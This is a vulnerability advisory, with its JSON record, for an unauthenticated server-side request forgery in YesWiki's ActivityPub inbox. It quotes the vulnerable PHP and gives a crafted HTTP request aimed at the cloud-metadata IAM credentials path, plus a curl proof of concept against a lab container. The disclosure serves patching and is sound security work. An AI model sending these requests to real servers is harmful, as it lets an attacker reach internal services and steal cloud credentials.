GHSA-VW42-752G-5MRP

Vulnerability from github – Published: 2026-07-09 20:58 – Updated: 2026-07-09 20:58
VLAI
Summary
YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`
Details

Summary

The POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.

The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form (bn_activitypub_enable = '1').

Details

Affected component

  • File: tools/bazar/services/HttpSignatureService.php
  • Method: HttpSignatureService::verifySignature(Request $request)
  • Sink: line 96
  • Route: tools/bazar/controllers/ApiController.php line 125@Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}})
// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD,
// lines 83–100)
public function verifySignature(Request $request) {
    if (!$request->headers->has('Signature')) {
        throw new Exception('No signature');
    }

    $sigConf = parse_ini_string(
        strtr($request->headers->get('Signature'), ["," => "\n"])           // (a) attacker controls every field
    );

    if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) {
        throw new Exception('Malformed signature');
    }

    $response = $this->httpClient->request('GET', $sigConf['keyId'], [    // (b) SINK — no validation,
        'headers' => [ 'Accept' => 'application/ld+json']                 //     no allowlist, no scheme
    ]);                                                                  //     pinning, no IP filtering
    ...
}

The inbox controller calls verifySignature() before running any cryptography:

// tools/bazar/controllers/ApiController.php  (lines 125–145)
/** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */
public function postFormActorInbox($formId, Request $request)
{
    $activityPubService   = $this->getService(ActivityPubService::class);
    $httpSignatureService = $this->getService(HttpSignatureService::class);

    $form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId];

    if ($activityPubService->isEnabled($form)) {
        $activity = json_decode($request->getContent(), true);

        $httpSignatureService->verifySignature($request);     // <-- SSRF fires here
        $activityPubService->processActivity($activity, $form);
        return new ApiResponse(null, Response::HTTP_OK, …);
    } else {
        throw new NotFoundHttpException();
    }
}

The flow is public ACL → enabled-form gate → unconditional outbound HTTP. The attacker controls only the keyId value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.

End-to-end attack chain

A single HTTP request, no session, no CSRF token, no captcha:

POST /?api/forms/1/actor/inbox HTTP/1.1
Host: target.example
Content-Type: application/activity+json
Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>",algorithm="rsa-sha256",headers="x",signature="y"

{}
  • The Symfony controller matches the route on formId=1.
  • ActivityPubService::isEnabled($form) returns true (set when the operator turned the feature on).
  • verifySignature() parses the header into a key-value array, finds keyId, and calls httpClient->request('GET', '<attacker URL>').
  • YesWiki's server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn't contain publicKey.publicKeyPem the controller returns an HTTP 500 whose JSON body leaks the full exception message and stack trace, including the URL.

PoC

Pre Reqs

  • Yeswiki v4.6.5 lab image (Setup via podman)
  • ActivityPub enabled on the target form

For the rest of this document:

BASE="http://localhost:8085"
CTR="yeswiki-poc"

Before we start, make sure ActivityPub is enabled on the target form

podman exec "$CTR" mysql -uroot yeswiki -e \
    "SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap
     FROM yeswiki_nature WHERE bn_id_nature = 1;"

Send the unauthenticated SSRF trigger:

TARGET="http://127.0.0.1:9999/aws-metadata?from=ssrf"

curl -s -X POST "${BASE}/?api/forms/1/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Signature: keyId=\"${TARGET}\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"" \
     -d '{}' \
     -w '\n  HTTP %{http_code}, elapsed=%{time_total}s\n'

You will get an error in response like this:

{"exceptionMessage":"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\nStack trace:…"}
  HTTP 500, elapsed=0.15s

The 500 and the "Missing public key" exception are the signal the outbound fetch went all the way to the JSON parse — the listener returned {}, which contained no publicKey field, so the handler bailed after talking to the listener.

Tested with webhook: image

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "yeswiki/yeswiki"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.6.2"
            },
            {
              "fixed": "4.6.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52769"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T20:58:33Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nThe `POST /api/forms/{formId}/actor/inbox` route - exposed publicly with `acl:\"public\"` - accepts an HTTP `Signature` header whose `keyId` parameter is a URL. `HttpSignatureService::verifySignature()` parses the header and **immediately makes a server-side HTTP GET** to that URL, **before** any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (`169.254.169.254`), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.\n\nThe only deployment-side precondition is that **ActivityPub be enabled on at least one Bazar form** (`bn_activitypub_enable = \u00271\u0027`).\n\n## Details\n### Affected component\n\n* **File:** `tools/bazar/services/HttpSignatureService.php`\n* **Method:** `HttpSignatureService::verifySignature(Request $request)`\n* **Sink:** line **96**\n* **Route:** `tools/bazar/controllers/ApiController.php` line **125** \u2014 `@Route(\"/api/forms/{formId}/actor/inbox\", methods={\"POST\"}, options={\"acl\":{\"public\"}})`\n\n```php\n// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD,\n// lines 83\u2013100)\npublic function verifySignature(Request $request) {\n    if (!$request-\u003eheaders-\u003ehas(\u0027Signature\u0027)) {\n        throw new Exception(\u0027No signature\u0027);\n    }\n\n    $sigConf = parse_ini_string(\n        strtr($request-\u003eheaders-\u003eget(\u0027Signature\u0027), [\",\" =\u003e \"\\n\"])           // (a) attacker controls every field\n    );\n\n    if (!isset($sigConf[\u0027keyId\u0027],$sigConf[\u0027algorithm\u0027],$sigConf[\u0027headers\u0027],$sigConf[\u0027signature\u0027])) {\n        throw new Exception(\u0027Malformed signature\u0027);\n    }\n\n    $response = $this-\u003ehttpClient-\u003erequest(\u0027GET\u0027, $sigConf[\u0027keyId\u0027], [    // (b) SINK \u2014 no validation,\n        \u0027headers\u0027 =\u003e [ \u0027Accept\u0027 =\u003e \u0027application/ld+json\u0027]                 //     no allowlist, no scheme\n    ]);                                                                  //     pinning, no IP filtering\n    ...\n}\n```\n\nThe inbox controller calls `verifySignature()` **before** running any cryptography:\n\n```php\n// tools/bazar/controllers/ApiController.php  (lines 125\u2013145)\n/** @Route(\"/api/forms/{formId}/actor/inbox\", methods={\"POST\"}, options={\"acl\":{\"public\"}}) */\npublic function postFormActorInbox($formId, Request $request)\n{\n    $activityPubService   = $this-\u003egetService(ActivityPubService::class);\n    $httpSignatureService = $this-\u003egetService(HttpSignatureService::class);\n\n    $form = $this-\u003egetService(BazarListService::class)-\u003egetForms([\u0027idtypeannonce\u0027 =\u003e $formId])[$formId];\n\n    if ($activityPubService-\u003eisEnabled($form)) {\n        $activity = json_decode($request-\u003egetContent(), true);\n\n        $httpSignatureService-\u003everifySignature($request);     // \u003c-- SSRF fires here\n        $activityPubService-\u003eprocessActivity($activity, $form);\n        return new ApiResponse(null, Response::HTTP_OK, \u2026);\n    } else {\n        throw new NotFoundHttpException();\n    }\n}\n```\n\nThe flow is **public ACL \u2192 enabled-form gate \u2192 unconditional outbound HTTP**. The attacker controls only the `keyId` value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.\n\n### End-to-end attack chain\n\nA single HTTP request, no session, no CSRF token, no captcha:\n\n```http\nPOST /?api/forms/1/actor/inbox HTTP/1.1\nHost: target.example\nContent-Type: application/activity+json\nSignature: keyId=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole\u003e\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"\n\n{}\n```\n\n* The Symfony controller matches the route on `formId=1`.\n* `ActivityPubService::isEnabled($form)` returns true (set when the operator turned the feature on).\n* `verifySignature()` parses the header into a key-value array, finds `keyId`, and calls `httpClient-\u003erequest(\u0027GET\u0027, \u0027\u003cattacker URL\u003e\u0027)`.\n* YesWiki\u0027s server now reaches out to whatever URL the attacker provided. The response body is parsed as JSON; if it doesn\u0027t contain `publicKey.publicKeyPem` the controller returns an HTTP 500 whose JSON body **leaks the full exception message and stack trace**, including the URL.\n\n## PoC\n### Pre Reqs\n\n* Yeswiki v4.6.5 lab image (Setup via podman)\n* ActivityPub enabled on the target form\n\nFor the rest of this document:\n\n```bash\nBASE=\"http://localhost:8085\"\nCTR=\"yeswiki-poc\"\n```\n\nBefore we start, make sure ActivityPub is enabled on the target form\n\n```bash\npodman exec \"$CTR\" mysql -uroot yeswiki -e \\\n    \"SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap\n     FROM yeswiki_nature WHERE bn_id_nature = 1;\"\n```\n\nSend the unauthenticated SSRF trigger:\n\n```bash\nTARGET=\"http://127.0.0.1:9999/aws-metadata?from=ssrf\"\n\ncurl -s -X POST \"${BASE}/?api/forms/1/actor/inbox\" \\\n     -H \"Content-Type: application/activity+json\" \\\n     -H \"Signature: keyId=\\\"${TARGET}\\\",algorithm=\\\"rsa-sha256\\\",headers=\\\"x\\\",signature=\\\"y\\\"\" \\\n     -d \u0027{}\u0027 \\\n     -w \u0027\\n  HTTP %{http_code}, elapsed=%{time_total}s\\n\u0027\n```\n\nYou will get an error in response like this: \n```json\n{\"exceptionMessage\":\"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\\nStack trace:\u2026\"}\n  HTTP 500, elapsed=0.15s\n```\n\nThe `500` and the `\"Missing public key\"` exception are the **signal** the outbound fetch went all the way to the JSON parse \u2014 the listener returned `{}`, which contained no `publicKey` field, so the handler bailed *after* talking to the listener.\n\nTested with webhook:\n\u003cimg width=\"1473\" height=\"678\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c720c68-3087-4e1a-b990-0a9f12ba8bbc\" /\u003e",
  "id": "GHSA-vw42-752g-5mrp",
  "modified": "2026-07-09T20:58:33Z",
  "published": "2026-07-09T20:58:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-vw42-752g-5mrp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/YesWiki/yeswiki"
    },
    {
      "type": "WEB",
      "url": "http://github.com/YesWiki/yeswiki/commit/87e627f33e79879827a3669fee2aa1244612c487"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…